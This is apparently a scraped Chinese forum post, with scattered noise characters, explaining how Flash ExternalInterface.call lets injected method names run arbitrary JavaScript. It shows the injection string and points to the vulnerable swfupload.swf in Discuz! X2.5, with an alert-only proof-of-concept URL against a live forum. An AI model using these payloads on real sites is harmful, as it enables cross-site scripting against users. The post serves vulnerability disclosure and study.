上回我们说
8 S5 I1 h+ _% L4 K' g: q( R$ S; k, F
flash.external.ExternalInterface.call($methodName, $parameter)7 X& _% F; S& T; @. H4 X9 m a0 w2 I
在浏览器中执行的是
8 G5 K) h8 ^" `* @- P1 s# p
7 T% N8 ~$ M+ f6 otry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
& T: B& d0 S0 h2 O8 [4 E' j# N9 S6 `对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
6 M5 Z! _2 s1 i2 K9 Q) ]4 U( R+ e; {( ~7 T! s
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
( `) W# u$ Z9 Y$methodName = a())}catch(e){alert(/xss/)}//
+ h( B6 h) j; ?& ?0 }$ x) t6 b结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
+ N; V4 ~: ~8 g/ I" G! `& L7 T" q7 G W6 w- M" A5 q- w# S
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
6 F6 D* ?! n, m0 k. O2 v# Y
. {0 l$ Q5 f1 ^5 \2 L这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )7 F2 C$ l9 J9 c( B; m+ G0 ^3 b6 m4 u
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。9 `$ U! s$ \0 t0 o! h \9 Z( Q
5 {3 s+ z5 X6 u! R% m7 K/ T U; y
9 u- r% d$ v1 j: D) K
* ^1 D. `; }' S8 I. O0 m漏洞文件:upload\static\image\common\swfupload.swf
* ?$ p" M1 f1 b! Z6 D2 X6 W0 l
5 z! G7 O2 g# Z原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
3 o- `3 i1 G" M% b& L; A3 c5 U, N5 B, q& L8 \9 v& t! L
9 i+ {# L4 D/ k# D( H6 Q( I, F3 E
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
1 e" c& u+ c* O) k2 v0 q( y4 e# d- Z0 {
/ ~1 U7 b6 t3 M2 w W5 Q1 Q |